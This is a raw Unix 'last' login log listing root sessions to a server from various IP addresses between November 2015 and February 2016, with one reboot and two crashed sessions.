root     pts/3        79.181.21.151    Thu Feb 18 15:17:33 2016 - Thu Feb 18 19:28:09 2016  (04:10)
root     pts/9        79.181.21.151    Thu Feb 18 14:50:33 2016 - Thu Feb 18 15:16:46 2016  (00:26)
root     pts/6        2.54.254.131     Thu Feb 18 12:36:52 2016 - Thu Feb 18 12:40:26 2016  (00:03)
root     pts/2        2.52.172.238     Thu Feb 18 10:31:37 2016 - Thu Feb 18 11:02:10 2016  (00:30)
root     pts/2        84.229.72.161    Wed Feb 17 21:00:01 2016 - Thu Feb 18 00:20:04 2016  (03:20)
root     pts/3        79.181.21.151    Wed Feb 17 20:30:09 2016 - Wed Feb 17 21:19:15 2016  (00:49)
root     pts/2        84.229.72.161    Wed Feb 17 16:09:34 2016 - Wed Feb 17 19:14:52 2016  (03:05)
root     pts/5        79.180.193.215   Tue Feb 16 19:43:31 2016 - Tue Feb 16 19:44:15 2016  (00:00)
root     pts/4        2.52.171.225     Sun Feb 14 13:29:11 2016 - Sun Feb 14 13:38:11 2016  (00:09)
root     pts/7        2.54.254.131     Sun Feb 14 12:30:53 2016 - Sun Feb 14 12:45:05 2016  (00:14)
root     pts/5        109.66.48.58     Sat Feb 13 16:18:36 2016 - Sat Feb 13 16:23:19 2016  (00:04)
root     pts/3        109.66.48.58     Fri Feb 12 17:37:32 2016 - Sat Feb 13 04:58:51 2016  (11:21)
root     pts/2        84.229.72.161    Thu Feb 11 21:00:16 2016 - Wed Feb 17 16:09:33 2016 (5+19:09)
root     pts/4        109.66.48.58     Thu Feb 11 20:34:55 2016 - Fri Feb 12 16:27:06 2016  (19:52)
root     pts/1        109.66.48.58     Thu Feb 11 19:56:09 2016 - Thu Feb 11 20:09:23 2016  (00:13)
root     pts/3        84.228.38.85     Thu Feb 11 19:47:54 2016 - Thu Feb 11 20:06:04 2016  (00:18)
root     pts/5        109.66.48.58     Tue Feb  9 19:24:55 2016 - Tue Feb  9 19:36:15 2016  (00:11)
root     pts/4        84.228.38.85     Tue Feb  9 03:11:46 2016 - Wed Feb 10 07:38:59 2016 (1+04:27)
root     pts/4        84.228.38.85     Mon Feb  8 16:48:44 2016 - Tue Feb  9 03:11:40 2016  (10:22)
root     pts/1        109.66.48.58     Mon Feb  8 16:15:25 2016 - Tue Feb  9 12:27:06 2016  (20:11)
root     pts/4        109.66.48.58     Fri Feb  5 19:37:11 2016 - Sat Feb  6 19:18:23 2016  (23:41)
root     pts/2        109.66.48.58     Fri Feb  5 13:38:59 2016 - Fri Feb  5 18:02:16 2016  (04:23)
root     pts/6        84.229.248.94    Wed Feb  3 14:20:01 2016 - Sat Feb  6 09:14:05 2016 (2+18:54)
root     pts/1        2.54.254.131     Wed Feb  3 10:33:16 2016 - Wed Feb  3 10:49:00 2016  (00:15)
root     pts/3        79.176.202.238   Wed Feb  3 09:12:41 2016 - Wed Feb  3 09:33:55 2016  (00:21)
root     pts/1        109.66.48.58     Sun Jan 31 19:20:20 2016 - Mon Feb  1 15:11:47 2016  (19:51)
root     pts/1        79.181.128.242   Fri Jan 29 11:30:27 2016 - Sat Jan 30 20:03:49 2016 (1+08:33)
root     pts/3        79.181.128.242   Thu Jan 28 21:13:47 2016 - Thu Jan 28 21:15:58 2016  (00:02)
root     pts/6        79.181.128.242   Thu Jan 28 16:58:41 2016 - Thu Jan 28 20:59:14 2016  (04:00)
root     pts/3        79.180.116.22    Thu Jan 28 14:57:40 2016 - Thu Jan 28 14:57:44 2016  (00:00)
root     pts/3        79.180.116.22    Thu Jan 28 14:35:13 2016 - Thu Jan 28 14:57:02 2016  (00:21)
root     pts/5        84.229.248.94    Thu Jan 28 03:19:37 2016 - Tue Feb  2 09:06:02 2016 (5+05:46)
root     pts/3        84.229.248.94    Thu Jan 28 03:12:09 2016 - Thu Jan 28 03:34:38 2016  (00:22)
root     pts/4        84.229.248.94    Thu Jan 28 02:56:13 2016 - Thu Jan 28 05:22:10 2016  (02:25)
root     pts/4        84.228.235.66    Wed Jan 27 04:54:06 2016 - Wed Jan 27 20:56:16 2016  (16:02)
root     pts/2        79.180.116.22    Tue Jan 26 16:29:48 2016 - Thu Jan 28 14:09:38 2016 (1+21:39)
root     pts/7        84.228.235.66    Tue Jan 26 15:13:08 2016 - Tue Jan 26 17:25:23 2016  (02:12)
root     pts/10       2.52.42.158      Tue Jan 26 00:03:19 2016 - Tue Jan 26 00:26:05 2016  (00:22)
root     pts/8        2.52.42.158      Mon Jan 25 23:54:51 2016 - Mon Jan 25 23:56:53 2016  (00:02)
root     pts/3        109.66.33.119    Mon Jan 25 23:50:51 2016 - Tue Jan 26 00:08:35 2016  (00:17)
root     pts/4        79.181.189.246   Mon Jan 25 19:15:49 2016 - Mon Jan 25 19:17:20 2016  (00:01)
root     pts/2        84.228.235.66    Mon Jan 25 18:42:16 2016 - Tue Jan 26 05:58:40 2016  (11:16)
root     pts/1        77.127.169.78    Sat Jan 23 16:48:21 2016 - Mon Jan 25 12:33:43 2016 (1+19:45)
root     pts/8        79.181.189.246   Sat Jan 23 14:49:51 2016 - Mon Jan 25 23:47:57 2016 (2+08:58)
root     pts/0        77.127.169.78    Sat Jan 23 01:54:00 2016 - Sat Jan 23 01:54:27 2016  (00:00)
root     pts/9        77.127.169.78    Fri Jan 22 17:56:53 2016 - Sat Jan 23 08:15:49 2016  (14:18)
root     pts/3        79.181.189.246   Thu Jan 21 22:13:15 2016 - Sat Jan 23 01:03:50 2016 (1+02:50)
root     pts/0        79.181.189.246   Thu Jan 21 21:50:44 2016 - Thu Jan 21 22:04:04 2016  (00:13)
root     pts/1        84.228.164.93    Thu Jan 21 20:44:47 2016 - Fri Jan 22 08:14:49 2016  (11:30)
root     pts/5        79.181.189.246   Thu Jan 21 19:48:06 2016 - Thu Jan 21 21:49:56 2016  (02:01)
root     pts/2        79.181.189.246   Thu Jan 21 13:17:34 2016 - Thu Jan 21 17:01:38 2016  (03:44)
root     pts/5        84.229.134.112   Wed Jan 20 20:24:07 2016 - Thu Jan 21 14:16:03 2016  (17:51)
root     pts/4        79.181.189.246   Wed Jan 20 20:12:37 2016 - Thu Jan 21 13:07:23 2016  (16:54)
root     pts/2        37.142.138.47    Wed Jan 20 18:01:26 2016 - Wed Jan 20 19:05:13 2016  (01:03)
root     pts/11       79.176.202.238   Wed Jan 20 08:29:47 2016 - Wed Jan 20 09:39:12 2016  (01:09)
root     pts/9        109.67.15.97     Tue Jan 19 17:28:49 2016 - Wed Jan 20 12:06:03 2016  (18:37)
root     pts/7        77.126.9.201     Tue Jan 19 16:15:19 2016 - Wed Jan 20 20:26:41 2016 (1+04:11)
root     pts/6        109.67.15.97     Tue Jan 19 12:10:40 2016 - Tue Jan 19 18:22:35 2016  (06:11)
root     pts/2        109.67.15.97     Mon Jan 18 21:52:09 2016 - Tue Jan 19 10:50:11 2016  (12:58)
root     pts/1        79.177.4.229     Mon Jan 18 17:20:21 2016 - Mon Jan 18 20:15:31 2016  (02:55)
root     pts/3        79.177.4.229     Mon Jan 18 17:16:30 2016 - Thu Jan 21 22:13:15 2016 (3+04:56)
root     pts/3        79.177.4.229     Mon Jan 18 15:30:42 2016 - Mon Jan 18 15:30:46 2016  (00:00)
root     pts/4        77.126.9.201     Mon Jan 18 15:11:13 2016 - Tue Jan 19 15:47:07 2016 (1+00:35)
root     pts/7        77.126.9.201     Mon Jan 18 01:16:48 2016 - Mon Jan 18 10:52:28 2016  (09:35)
root     pts/2        109.64.210.156   Sun Jan 17 12:31:19 2016 - Mon Jan 18 13:45:43 2016 (1+01:14)
root     pts/8        109.64.210.156   Sat Jan 16 22:24:28 2016 - Sat Jan 16 23:28:41 2016  (01:04)
root     pts/11       109.64.210.156   Sat Jan 16 06:00:56 2016 - Sat Jan 16 20:47:58 2016  (14:47)
root     pts/8        109.64.210.156   Fri Jan 15 23:45:32 2016 - Sat Jan 16 00:43:09 2016  (00:57)
root     pts/5        84.228.254.166   Fri Jan 15 17:14:17 2016 - Mon Jan 18 00:55:36 2016 (2+07:41)
root     pts/11       109.64.210.156   Fri Jan 15 15:04:49 2016 - Fri Jan 15 20:16:37 2016  (05:11)
root     pts/7        109.64.210.156   Fri Jan 15 14:38:18 2016 - Fri Jan 15 14:41:23 2016  (00:03)
root     pts/6        84.229.148.155   Thu Jan 14 19:05:57 2016 - Fri Jan 15 14:30:00 2016  (19:24)
root     pts/7        84.228.167.124   Thu Jan 14 13:53:35 2016 - Thu Jan 14 19:18:50 2016  (05:25)
root     pts/13       84.228.167.124   Thu Jan 14 13:23:04 2016 - Thu Jan 14 13:53:23 2016  (00:30)
root     pts/2        77.127.78.37     Tue Jan 12 18:58:32 2016 - Thu Jan 14 03:21:03 2016 (1+08:22)
root     pts/7        77.127.78.37     Mon Jan 11 16:20:04 2016 - Tue Jan 12 16:56:05 2016 (1+00:36)
root     pts/10       192.118.11.120   Mon Jan 11 09:03:53 2016 - Mon Jan 11 09:07:13 2016  (00:03)
root     pts/7        77.127.78.37     Sun Jan 10 21:46:11 2016 - Mon Jan 11 16:20:02 2016  (18:33)
root     pts/12       77.127.78.37     Sun Jan 10 17:31:41 2016 - Sun Jan 10 21:31:08 2016  (03:59)
root     pts/13       77.127.78.37     Sun Jan 10 17:25:43 2016 - Sun Jan 10 17:31:39 2016  (00:05)
root     pts/4        109.64.210.156   Sat Jan  9 19:32:21 2016 - Tue Jan 12 16:37:49 2016 (2+21:05)
root     pts/6        77.127.78.37     Sat Jan  9 07:24:23 2016 - Sun Jan 10 17:25:44 2016 (1+10:01)
root     pts/7        84.228.18.160    Sat Jan  9 06:43:21 2016 - Sat Jan  9 07:21:37 2016  (00:38)
root     pts/5        84.228.18.160    Sat Jan  9 05:32:50 2016 - Sat Jan  9 07:44:14 2016  (02:11)
root     pts/2        109.64.210.156   Sat Jan  9 01:33:34 2016 - Sat Jan  9 18:52:54 2016  (17:19)
root     pts/5        109.64.210.156   Fri Jan  8 17:55:04 2016 - Fri Jan  8 22:51:16 2016  (04:56)
root     pts/1        84.228.18.160    Fri Jan  8 16:48:48 2016 - Fri Jan  8 20:23:40 2016  (03:34)
root     pts/8        109.64.210.156   Fri Jan  8 14:23:16 2016 - Fri Jan  8 17:23:39 2016  (03:00)
root     pts/7        84.228.18.160    Thu Jan  7 21:54:09 2016 - Fri Jan  8 13:14:10 2016  (15:20)
root     pts/6        37.142.138.47    Wed Jan  6 20:39:50 2016 - Thu Jan  7 16:13:35 2016  (19:33)
root     pts/6        2.52.56.37       Wed Jan  6 09:48:16 2016 - Wed Jan  6 09:49:10 2016  (00:00)
root     pts/4        2.52.58.136      Wed Jan  6 08:23:05 2016 - Wed Jan  6 08:26:02 2016  (00:02)
root     pts/7        37.142.138.47    Tue Jan  5 23:37:57 2016 - Wed Jan  6 08:35:36 2016  (08:57)
root     pts/7        2.52.51.26       Tue Jan  5 08:26:03 2016 - Tue Jan  5 08:31:14 2016  (00:05)
root     pts/12       109.64.32.240    Mon Jan  4 20:36:50 2016 - Mon Jan  4 22:12:31 2016  (01:35)
root     pts/6        37.142.138.47    Mon Jan  4 18:06:42 2016 - Mon Jan  4 18:55:38 2016  (00:48)
root     pts/8        2.52.8.194       Mon Jan  4 10:54:02 2016 - Mon Jan  4 10:58:56 2016  (00:04)
root     pts/12       2.52.8.194       Mon Jan  4 09:57:03 2016 - Mon Jan  4 10:01:05 2016  (00:04)
root     pts/2        84.228.18.160    Mon Jan  4 02:39:59 2016 - Thu Jan  7 13:19:40 2016 (3+10:39)
root     pts/4        84.228.18.160    Sun Jan  3 02:23:59 2016 - Sun Jan  3 02:24:17 2016  (00:00)
root     pts/0        84.228.18.160    Sun Jan  3 02:07:59 2016 - Sun Jan  3 08:43:49 2016  (06:35)
root     pts/0        84.228.18.160    Sat Jan  2 02:47:35 2016 - Sat Jan  2 07:08:20 2016  (04:20)
root     pts/1        84.228.18.160    Sat Jan  2 01:07:43 2016 - Sat Jan  2 02:47:35 2016  (01:39)
root     pts/3        109.66.177.79    Sat Jan  2 00:09:58 2016 - Sat Jan  2 22:20:59 2016  (22:11)
root     pts/5        109.66.177.79    Fri Jan  1 22:52:52 2016 - Fri Jan  1 23:44:17 2016  (00:51)
root     pts/7        109.66.177.79    Fri Jan  1 17:00:37 2016 - Fri Jan  1 20:59:57 2016  (03:59)
root     pts/4        192.118.11.120   Fri Jan  1 09:15:21 2016 - Fri Jan  1 10:06:43 2016  (00:51)
root     pts/1        109.66.177.79    Wed Dec 30 18:46:16 2015 - Wed Dec 30 19:04:27 2015  (00:18)
root     pts/11       84.228.18.160    Wed Dec 30 18:36:46 2015 - Thu Dec 31 19:09:27 2015 (1+00:32)
root     pts/2        79.182.113.146   Wed Dec 30 17:57:35 2015 - Wed Dec 30 17:59:51 2015  (00:02)
root     pts/6        84.228.18.160    Tue Dec 29 23:42:40 2015 - Wed Dec 30 10:13:50 2015  (10:31)
root     pts/11       79.182.113.146   Sun Dec 27 14:03:49 2015 - Tue Dec 29 17:49:49 2015 (2+03:46)
root     pts/7        79.182.113.146   Sat Dec 26 18:09:23 2015 - Sat Dec 26 18:52:22 2015  (00:42)
root     pts/3        79.182.113.146   Fri Dec 25 23:44:27 2015 - Sun Dec 27 01:20:31 2015 (1+01:36)
root     pts/3        79.182.113.146   Fri Dec 25 23:13:15 2015 - Fri Dec 25 23:44:23 2015  (00:31)
root     pts/8        84.228.235.96    Fri Dec 25 22:26:07 2015 - Sat Dec 26 08:25:02 2015  (09:58)
root     pts/10       79.182.113.146   Fri Dec 25 20:35:17 2015 - Fri Dec 25 20:35:23 2015  (00:00)
root     pts/0        79.182.113.146   Fri Dec 25 16:29:34 2015 - Fri Dec 25 19:46:04 2015  (03:16)
root     pts/2        84.228.235.96    Fri Dec 25 02:40:46 2015 - Fri Dec 25 05:42:02 2015  (03:01)
root     pts/1        84.228.235.96    Fri Dec 25 01:40:50 2015 - Fri Dec 25 05:43:58 2015  (04:03)
root     pts/1        84.228.235.96    Fri Dec 25 01:21:53 2015 - Fri Dec 25 01:40:23 2015  (00:18)
root     pts/5        84.228.235.96    Thu Dec 24 00:01:07 2015 - Thu Dec 24 00:01:11 2015  (00:00)
root     pts/3        84.228.235.96    Wed Dec 23 19:52:16 2015 - Fri Dec 25 01:21:40 2015 (1+05:29)
root     pts/1        84.228.235.96    Wed Dec 23 15:48:55 2015 - Wed Dec 23 19:05:37 2015  (03:16)
root     pts/6        84.228.235.96    Wed Dec 23 15:47:25 2015 - Wed Dec 23 15:48:48 2015  (00:01)
root     pts/12       79.182.113.146   Tue Dec 22 19:01:27 2015 - Thu Dec 24 20:43:13 2015 (2+01:41)
root     pts/0        84.228.235.96    Tue Dec 22 17:50:34 2015 - Wed Dec 23 11:36:44 2015  (17:46)
root     pts/4        84.228.235.96    Tue Dec 22 17:18:38 2015 - Tue Dec 22 19:56:27 2015  (02:37)
root     pts/15       79.182.113.146   Tue Dec 22 14:04:55 2015 - Tue Dec 22 14:06:45 2015  (00:01)
root     pts/7        79.182.113.146   Mon Dec 21 20:30:16 2015 - Tue Dec 22 07:15:21 2015  (10:45)
root     pts/0        84.228.235.96    Mon Dec 21 19:06:27 2015 - Tue Dec 22 11:27:31 2015  (16:21)
root     pts/1        84.228.235.96    Mon Dec 21 19:02:57 2015 - Mon Dec 21 19:06:26 2015  (00:03)
root     pts/0        84.228.235.96    Mon Dec 21 18:58:18 2015 - Mon Dec 21 19:02:57 2015  (00:04)
root     pts/0        84.228.235.96    Sat Dec 19 19:10:03 2015 - Mon Dec 21 06:53:31 2015 (1+11:43)
root     pts/10       79.182.113.146   Sat Dec 19 18:39:23 2015 - Sun Dec 20 10:50:58 2015  (16:11)
root     pts/12       79.182.113.146   Sat Dec 19 12:57:37 2015 - Sat Dec 19 14:02:21 2015  (01:04)
root     pts/2        79.182.113.146   Fri Dec 18 22:36:12 2015 - Sat Dec 19 08:17:39 2015  (09:41)
root     pts/2        79.182.113.146   Fri Dec 18 22:31:06 2015 - Fri Dec 18 22:36:09 2015  (00:05)
root     pts/0        84.228.235.96    Fri Dec 18 21:34:30 2015 - Sat Dec 19 19:09:58 2015  (21:35)
reboot   system boot  0.0.0.0          Fri Dec 18 21:33:26 2015 - Tue Jun 28 23:09:41 2016 (193+00:36)
root     pts/1        79.182.113.146   Fri Dec 18 21:29:07 2015 - crash                     (00:04)
root     pts/0        84.228.235.96    Fri Dec 18 21:28:21 2015 - crash                     (00:05)
root     pts/9        84.228.235.96    Fri Dec 18 18:44:27 2015 - Fri Dec 18 18:57:08 2015  (00:12)
root     pts/12       79.182.113.146   Fri Dec 18 18:08:38 2015 - Fri Dec 18 19:06:17 2015  (00:57)
root     pts/8        192.118.11.120   Fri Dec 18 09:36:56 2015 - Fri Dec 18 09:51:39 2015  (00:14)
root     pts/0        84.228.235.96    Thu Dec 17 17:34:43 2015 - Fri Dec 18 19:21:53 2015 (1+01:47)
root     pts/4        2.52.48.89       Thu Dec 17 14:44:15 2015 - Thu Dec 17 15:05:13 2015  (00:20)
root     pts/0        84.228.235.96    Thu Dec 17 14:33:20 2015 - Thu Dec 17 16:21:40 2015  (01:48)
root     pts/9        84.228.235.96    Thu Dec 17 13:58:43 2015 - Thu Dec 17 14:33:20 2015  (00:34)
root     pts/4        84.228.235.96    Wed Dec 16 20:24:27 2015 - Thu Dec 17 04:10:45 2015  (07:46)
root     pts/12       84.228.235.104   Tue Dec 15 19:34:31 2015 - Wed Dec 16 18:39:58 2015  (23:05)
root     pts/3        79.182.113.146   Tue Dec 15 17:46:12 2015 - Thu Dec 17 16:21:42 2015 (1+22:35)
root     pts/13       84.228.235.104   Mon Dec 14 18:06:13 2015 - Tue Dec 15 19:34:31 2015 (1+01:28)
root     pts/7        79.182.113.146   Mon Dec 14 15:07:19 2015 - Tue Dec 15 01:22:19 2015  (10:15)
root     pts/4        84.228.235.104   Mon Dec 14 11:16:59 2015 - Mon Dec 14 18:06:16 2015  (06:49)
root     pts/0        84.228.235.104   Sun Dec 13 17:16:44 2015 - Mon Dec 14 05:08:07 2015  (11:51)
root     pts/0        84.228.235.104   Sun Dec 13 16:36:04 2015 - Sun Dec 13 17:16:36 2015  (00:40)
root     pts/13       79.182.113.146   Sun Dec 13 15:23:37 2015 - Sun Dec 13 21:47:07 2015  (06:23)
root     pts/11       84.228.235.104   Sun Dec 13 14:34:30 2015 - Sun Dec 13 16:36:03 2015  (02:01)
root     pts/11       79.182.113.146   Sat Dec 12 18:55:19 2015 - Sun Dec 13 13:51:52 2015  (18:56)
root     pts/16       84.228.235.104   Sat Dec 12 15:00:17 2015 - Sun Dec 13 14:34:28 2015  (23:34)
root     pts/17       84.228.235.104   Fri Dec 11 10:54:15 2015 - Fri Dec 11 11:35:00 2015  (00:40)
root     pts/12       79.182.113.146   Thu Dec 10 15:15:14 2015 - Sat Dec 12 16:35:01 2015 (2+01:19)
root     pts/4        109.65.104.70    Wed Dec  9 12:05:21 2015 - Thu Dec 10 14:32:14 2015 (1+02:26)
root     pts/4        109.65.104.70    Tue Dec  8 21:49:06 2015 - Wed Dec  9 12:05:11 2015  (14:16)
root     pts/16       109.65.104.70    Tue Dec  8 14:27:44 2015 - Tue Dec  8 16:33:04 2015  (02:05)
root     pts/5        84.228.185.30    Mon Dec  7 12:50:59 2015 - Tue Dec  8 05:25:10 2015  (16:34)
root     pts/1        77.127.169.12    Sun Dec  6 23:43:25 2015 - Mon Dec  7 10:31:57 2015  (10:48)
root     pts/3        109.65.104.70    Sun Dec  6 22:12:27 2015 - Tue Dec  8 14:10:52 2015 (1+15:58)
root     pts/1        109.65.104.70    Sun Dec  6 20:51:33 2015 - Sun Dec  6 22:25:40 2015  (01:34)
root     pts/4        77.127.169.12    Sun Dec  6 20:31:28 2015 - Sun Dec  6 22:43:09 2015  (02:11)
root     pts/1        84.228.86.169    Sun Dec  6 20:12:55 2015 - Sun Dec  6 20:42:08 2015  (00:29)
root     pts/1        109.65.104.70    Sun Dec  6 18:47:54 2015 - Sun Dec  6 19:45:46 2015  (00:57)
root     pts/3        84.228.86.169    Sun Dec  6 08:31:44 2015 - Sun Dec  6 20:12:55 2015  (11:41)
root     pts/3        84.228.86.169    Sun Dec  6 06:49:29 2015 - Sun Dec  6 08:31:29 2015  (01:42)
root     pts/4        84.228.86.169    Sat Dec  5 01:29:39 2015 - Sat Dec  5 22:46:14 2015  (21:16)
root     pts/4        84.228.86.169    Sat Dec  5 01:26:11 2015 - Sat Dec  5 01:29:24 2015  (00:03)
root     pts/2        109.65.127.105   Fri Dec  4 20:57:06 2015 - Sat Dec  5 19:01:56 2015  (22:04)
root     pts/21       109.65.127.105   Fri Dec  4 18:07:32 2015 - Fri Dec  4 18:23:46 2015  (00:16)
root     pts/4        192.118.11.120   Fri Dec  4 11:34:17 2015 - Fri Dec  4 11:34:31 2015  (00:00)
root     pts/2        2.52.29.183      Wed Dec  2 12:20:24 2015 - Wed Dec  2 12:23:35 2015  (00:03)
root     pts/3        192.118.11.120   Wed Dec  2 09:40:13 2015 - Wed Dec  2 10:04:18 2015  (00:24)
root     pts/6        84.228.86.169    Tue Dec  1 07:12:39 2015 - Tue Dec  1 09:24:14 2015  (02:11)
root     pts/6        109.65.127.105   Mon Nov 30 20:35:01 2015 - Mon Nov 30 21:05:09 2015  (00:30)
root     pts/11       84.228.86.169    Mon Nov 30 17:54:34 2015 - Tue Dec  1 07:27:34 2015  (13:33)
root     pts/14       109.65.127.105   Mon Nov 30 13:46:11 2015 - Tue Dec  1 18:50:31 2015 (1+05:04)
root     pts/19       84.228.86.169    Mon Nov 30 04:19:30 2015 - Mon Nov 30 08:52:07 2015  (04:32)
root     pts/6        84.228.86.169    Mon Nov 30 02:43:46 2015 - Mon Nov 30 05:09:38 2015  (02:25)
root     pts/6        84.228.86.169    Mon Nov 30 02:40:46 2015 - Mon Nov 30 02:43:41 2015  (00:02)
root     pts/3        109.65.127.105   Sun Nov 29 23:52:11 2015 - Mon Nov 30 06:51:03 2015  (06:58)
root     pts/6        109.65.127.105   Sat Nov 28 19:54:26 2015 - Sun Nov 29 23:16:59 2015 (1+03:22)
root     pts/1        109.65.127.105   Sat Nov 28 16:56:55 2015 - Sat Nov 28 19:11:12 2015  (02:14)
root     pts/5        109.65.127.105   Thu Nov 26 19:21:34 2015 - Sat Nov 28 16:55:16 2015 (1+21:33)
root     pts/6        79.179.192.212   Thu Nov 26 14:36:44 2015 - Thu Nov 26 14:41:42 2015  (00:04)
root     pts/4        84.228.86.169    Wed Nov 25 23:43:05 2015 - Sat Nov 28 08:31:11 2015 (2+08:48)
root     pts/11       79.176.14.98     Sun Nov 22 15:47:10 2015 - Wed Nov 25 23:23:44 2015 (3+07:36)
root     pts/6        84.228.217.30    Sat Nov 21 21:51:30 2015 - Mon Nov 23 01:21:20 2015 (1+03:29)
root     pts/7        79.176.14.98     Sat Nov 21 19:02:29 2015 - Sat Nov 21 22:19:29 2015  (03:17)
root     pts/4        79.178.187.221   Sat Nov 21 14:10:18 2015 - Sat Nov 21 16:56:25 2015  (02:46)
root     pts/4        79.178.187.221   Sat Nov 21 01:59:46 2015 - Sat Nov 21 03:26:34 2015  (01:26)
root     pts/6        79.178.187.221   Fri Nov 20 17:02:45 2015 - Sat Nov 21 03:27:39 2015  (10:24)
root     pts/9        84.228.145.86    Fri Nov 20 15:16:58 2015 - Fri Nov 20 17:28:39 2015  (02:11)
root     pts/9        84.228.145.86    Fri Nov 20 13:44:45 2015 - Fri Nov 20 15:16:56 2015  (01:32)
root     pts/7        2.52.7.254       Fri Nov 20 11:29:27 2015 - Fri Nov 20 11:48:57 2015  (00:19)
root     pts/5        79.178.187.221   Thu Nov 19 21:27:16 2015 - Fri Nov 20 11:56:53 2015  (14:29)
root     pts/8        77.127.6.68      Thu Nov 19 13:17:18 2015 - Thu Nov 19 14:15:34 2015  (00:58)
root     pts/6        2.52.7.244       Thu Nov 19 12:15:29 2015 - Thu Nov 19 12:18:17 2015  (00:02)
root     pts/6        79.178.187.221   Wed Nov 18 20:01:30 2015 - Wed Nov 18 22:44:17 2015  (02:42)
root     pts/3        192.118.11.120   Wed Nov 18 12:14:24 2015 - Wed Nov 18 12:18:53 2015  (00:04)
root     pts/6        84.228.108.162   Wed Nov 18 09:56:40 2015 - Wed Nov 18 12:21:39 2015  (02:24)
root     pts/7        84.228.212.49    Wed Nov 18 09:47:40 2015 - Wed Nov 18 12:00:38 2015  (02:12)
root     pts/1        79.178.187.221   Tue Nov 17 22:29:09 2015 - Wed Nov 18 14:38:21 2015  (16:09)
root     pts/8        79.178.187.221   Tue Nov 17 20:11:50 2015 - Wed Nov 18 00:11:45 2015  (03:59)
root     pts/13       79.178.187.221   Tue Nov 17 14:52:45 2015 - Tue Nov 17 15:10:30 2015  (00:17)
root     pts/2        84.228.212.49    Tue Nov 17 11:30:23 2015 - Tue Nov 17 13:35:06 2015  (02:04)
root     pts/13       79.178.187.221   Mon Nov 16 20:36:58 2015 - Tue Nov 17 14:50:17 2015  (18:13)
root     pts/4        79.178.187.221   Mon Nov 16 18:38:25 2015 - Mon Nov 16 18:40:14 2015  (00:01)
root     pts/6        79.178.187.221   Mon Nov 16 18:15:59 2015 - Mon Nov 16 18:37:20 2015  (00:21)
root     pts/17       84.228.15.66     Mon Nov 16 14:11:23 2015 - Tue Nov 17 10:11:48 2015  (20:00)
root     pts/9        2.52.62.167      Mon Nov 16 10:49:19 2015 - Mon Nov 16 11:08:02 2015  (00:18)
root     pts/4        2.52.3.102       Mon Nov 16 09:39:16 2015 - Mon Nov 16 09:40:17 2015  (00:01)
root     pts/6        84.229.53.169    Mon Nov 16 09:02:54 2015 - Mon Nov 16 12:05:10 2015  (03:02)
root     pts/6        84.229.53.169    Mon Nov 16 07:46:12 2015 - Mon Nov 16 09:02:51 2015  (01:16)
root     pts/8        79.178.187.221   Sun Nov 15 13:14:43 2015 - Mon Nov 16 17:18:05 2015 (1+04:03)
root     pts/2        79.176.150.146   Sat Nov 14 16:03:56 2015 - Sat Nov 14 20:52:15 2015  (04:48)
root     pts/8        84.228.53.3      Sat Nov 14 14:31:26 2015 - Sat Nov 14 16:42:45 2015  (02:11)
root     pts/4        84.229.243.104   Sat Nov 14 14:06:09 2015 - Sat Nov 14 16:26:33 2015  (02:20)
root     pts/6        79.176.150.146   Sat Nov 14 13:13:13 2015 - Sat Nov 14 16:17:56 2015  (03:04)
root     pts/2        84.228.235.72    Fri Nov 13 21:12:52 2015 - Sat Nov 14 09:26:28 2015  (12:13)
root     pts/5        79.176.150.146   Fri Nov 13 19:53:43 2015 - Sat Nov 14 06:14:15 2015  (10:20)
root     pts/7        2.52.189.19      Fri Nov 13 11:09:11 2015 - Fri Nov 13 11:18:50 2015  (00:09)
root     pts/12       2.52.156.29      Fri Nov 13 09:35:31 2015 - Fri Nov 13 09:51:23 2015  (00:15)
root     pts/6        77.126.9.142     Fri Nov 13 06:21:42 2015 - Fri Nov 13 10:35:36 2015  (04:13)
root     pts/6        77.126.9.142     Fri Nov 13 03:38:54 2015 - Fri Nov 13 06:21:38 2015  (02:42)
root     pts/5        2.52.26.96       Thu Nov 12 11:55:57 2015 - Thu Nov 12 12:18:46 2015  (00:22)
root     pts/5        84.228.184.242   Thu Nov 12 05:08:14 2015 - Thu Nov 12 11:00:49 2015  (05:52)
root     pts/7        79.177.9.86      Wed Nov 11 18:16:30 2015 - Thu Nov 12 19:08:29 2015 (1+00:51)
root     pts/4        79.177.9.86      Tue Nov 10 20:16:47 2015 - Tue Nov 10 23:45:57 2015  (03:29)
root     pts/3        79.177.9.86      Tue Nov 10 13:50:28 2015 - Tue Nov 10 18:06:16 2015  (04:15)
root     pts/5        79.177.9.86      Tue Nov 10 12:56:59 2015 - Tue Nov 10 13:05:35 2015  (00:08)
root     pts/3        2.52.61.227      Mon Nov  9 10:30:09 2015 - Mon Nov  9 11:05:26 2015  (00:35)
root     pts/2        84.229.34.234    Sun Nov  8 23:17:50 2015 - Wed Nov 11 09:28:13 2015 (2+10:10)
root     pts/9        79.177.9.86      Sun Nov  8 14:45:44 2015 - Sun Nov  8 15:45:48 2015  (01:00)
root     pts/3        79.177.9.86      Sun Nov  8 03:57:59 2015 - Sun Nov  8 08:17:53 2015  (04:19)
root     pts/5        79.177.9.86      Sun Nov  8 01:28:26 2015 - Sun Nov  8 01:29:44 2015  (00:01)
root     pts/3        79.177.9.86      Sat Nov  7 23:31:02 2015 - Sun Nov  8 03:57:36 2015  (04:26)
root     pts/3        79.179.179.6     Sat Nov  7 20:10:47 2015 - Sat Nov  7 23:30:59 2015  (03:20)
root     pts/11       79.179.179.6     Sat Nov  7 18:27:55 2015 - Sat Nov  7 19:14:27 2015  (00:46)
root     pts/1        79.179.179.6     Fri Nov  6 22:19:25 2015 - Sat Nov  7 15:57:11 2015  (17:37)
root     pts/2        84.229.34.234    Fri Nov  6 21:07:18 2015 - Sat Nov  7 20:42:00 2015  (23:34)
root     pts/1        79.179.179.6     Fri Nov  6 20:17:23 2015 - Fri Nov  6 22:19:20 2015  (02:01)
root     pts/6        79.179.179.6     Fri Nov  6 18:44:20 2015 - Fri Nov  6 20:17:20 2015  (01:33)
root     pts/4        84.228.63.227    Fri Nov  6 17:54:13 2015 - Fri Nov  6 18:24:02 2015  (00:29)
root     pts/4        109.64.157.1     Fri Nov  6 13:07:25 2015 - Fri Nov  6 16:08:34 2015  (03:01)
root     pts/6        84.228.63.227    Thu Nov  5 23:06:10 2015 - Thu Nov  5 23:34:18 2015  (00:28)
root     pts/1        84.228.63.227    Thu Nov  5 21:59:03 2015 - Fri Nov  6 01:45:28 2015  (03:46)
root     pts/2        109.64.157.1     Thu Nov  5 19:21:13 2015 - Fri Nov  6 00:06:58 2015  (04:45)
